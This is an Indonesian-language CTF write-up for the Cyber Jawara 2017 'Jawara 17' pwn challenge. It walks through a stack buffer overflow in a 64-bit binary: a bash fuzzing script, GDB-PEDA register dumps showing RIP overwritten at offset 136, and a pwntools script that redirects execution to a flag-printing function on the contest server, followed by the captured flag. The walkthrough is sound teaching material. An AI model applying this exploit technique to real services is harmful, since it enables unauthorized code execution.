[Cyber Jawara Quals 2017] Jawara 17 (125 Poin)

Masalah

Diberikan binary jawara17 dan layanan yang tersedia pada nc cj2k17.ctf.idsirtii.or.id 31337.

Penyelesaian

Pengumpulan Informasi

Kami memeriksa arsitektur dan keamanan binary dengan file dan checksec.

$ file jawara17
jawara17: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=90adc7b1b02aa30219b660bf13583d0aa108d140, not stripped
$ checksec jawara17
[*] '/home/.../jawara17'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Tidak ada canary sehingga kami bisa melakukan stack smashing pada binary.

Alur Program Kami menjalankan binary untuk melihat proses awal dan ternyata program menampilkan pesan saja tanpa ada yang lain.

./jawara17 
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!

Dekompilasi Kami melakukan dekompilasi untuk memahami alur program lebih jelas lagi. Terdapat fungsi main yang berisi struktur awal program.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!", 0x28uLL);
  jawara(1LL, "!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!");
  return 0;
}

Ada fungsi jawara yang membaca input.

ssize_t jawara()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

Ada fungsi cyber yang berisi Flag.

int cyber()
{
  return system("cat flag.txt");
}

Identifikasi Kelemahan

Berdasarkan informasi yang telah dikumpulkan, terdapat fungsi read yang tidak diproteksi sehingga pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.

find_segfault_by_input.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
    echo $i
    buffer+="A"
    echo $buffer > /tmp/delete.me
    ./$1 < /tmp/delete.me
    if [ $? -eq 139 ]; then
        echo "SEGMENTATION FAULT on $i BUFFER"
        break
    fi
done

Luaran.

~ skipped ~
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!128
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!find_segfault_by_input.sh: line 4: 20231 Segmentation fault      (core dumped) ./$1 < /tmp/delete.me
SEGMENTATION FAULT on 128 BUFFER

Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault sebesar 128 bytes.

Eksploitasi

Buka GDB, dan periksa stack yang ada dalam binary.

# gdb -q jawara17
gdb-peda$ r < /tmp/delete.me

Luaran

r < /tmp/delete.me 
Starting program: /home/.../jawara17 < /tmp/delete.me
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!
Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b04230 (<__read_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x200 
RSI: 0x7fffffffe1a0 ('A' <repeats 128 times>, "\n\342\377\377\377\177")
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe212 ('A' <repeats 14 times>, "\n\342\377\377\377\177")
RIP: 0x40061b (<main+51>:    ret)
R8 : 0x400690 (<__libc_csu_fini>:    repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:    push   rbp)
R10: 0x37b 
R11: 0x246 
R12: 0x4004c0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe320 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400610 <main+40>:    call   0x4005c7 <jawara>
   0x400615 <main+45>:    mov    eax,0x0
   0x40061a <main+50>:    leave  
=> 0x40061b <main+51>:    ret    
   0x40061c:    nop    DWORD PTR [rax+0x0]
   0x400620 <__libc_csu_init>:    push   r15
   0x400622 <__libc_csu_init+2>:    push   r14
   0x400624 <__libc_csu_init+4>:    mov    r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe212 ('A' <repeats 14 times>, "\n\342\377\377\377\177")
0008| 0x7fffffffe21a --> 0xe20a414141414141 
0016| 0x7fffffffe222 --> 0x61500007fffffff 
0024| 0x7fffffffe22a --> 0xe328000000000040 
0032| 0x7fffffffe232 --> 0x7fffffff 
0040| 0x7fffffffe23a --> 0x620000000010000 
0048| 0x7fffffffe242 --> 0xd830000000000040 
0056| 0x7fffffffe24a --> 0x7ffff7a2 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040061b in main ()

Ternyata register RIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 12 byte sehingga menjadi 140 byte dan gunakan pattern create untuk mendapatan posisi register RIP.

gdb-peda$ pattern create 140 delete.me
gdb-peda$ r < delete.me

Luaran.

!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!
Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x8c 
RBX: 0x0 
RCX: 0x7ffff7b04230 (<__read_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x200 
RSI: 0x7fffffffe1a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQA")
RDI: 0x0 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5fc ("/home/.../jawara17")
RIP: 0x41514141 ('AAQA')
R8 : 0x400690 (<__libc_csu_fini>:    repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:    push   rbp)
R10: 0x37b 
R11: 0x246 
R12: 0x4004c0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe320 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41514141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5fc ("/home/.../jawara17")
0008| 0x7fffffffe238 --> 0x100000000 
0016| 0x7fffffffe240 --> 0x400620 (<__libc_csu_init>:    push   r15)
0024| 0x7fffffffe248 --> 0x7ffff7a2d830 (<__libc_start_main+240>:    mov    edi,eax)
0032| 0x7fffffffe250 --> 0x0 
0040| 0x7fffffffe258 --> 0x7fffffffe328 --> 0x7fffffffe5fc ("/home/.../jawara17")
0048| 0x7fffffffe260 --> 0x100000000 
0056| 0x7fffffffe268 --> 0x4005e8 (<main>:    push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000041514141 in ?? ()

Ternyata register RIP sudah berhasil ditimpa dengan buffer AAQA, selanjutnya mencari indeks register RIP pada buffer delete.me.

echo `python -c 'print open("delete.me").read().rstrip().index("AAQA")'`

Luaran

136

Dengan demikian fungsi cyber bisa dipanggil dengan meletakkan alamatnya pada akhir payload. Alamat fungsi cyber dapat diketahui dengan perintah dibawah ini.

# nm jawara17 | grep cyber
00000000004005b6 T cyber

Ini dia script penyelesaian akhir.

from pwn import *

payload = 'A'*136
payload += p64(0x4005b6)
proc = process('./jawara17')
proc = remote('cj2k17.ctf.idsirtii.or.id', 31337)
proc.sendline(payload)
proc.interactive()

Luaran

$ python solver.py
[+] Starting local process './jawara17': pid 8145
[+] Opening connection to cj2k17.ctf.idsirtii.or.id on port 31337: Done
[*] Switching to interactive mode
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!$ 
CJ2017{Where_Is_Uncut_Text}

[*] Got EOF while reading in interactive

Flag yang didapat adalah CJ2017{Where_Is_Uncut_Text}.

results matching ""

    No results matching ""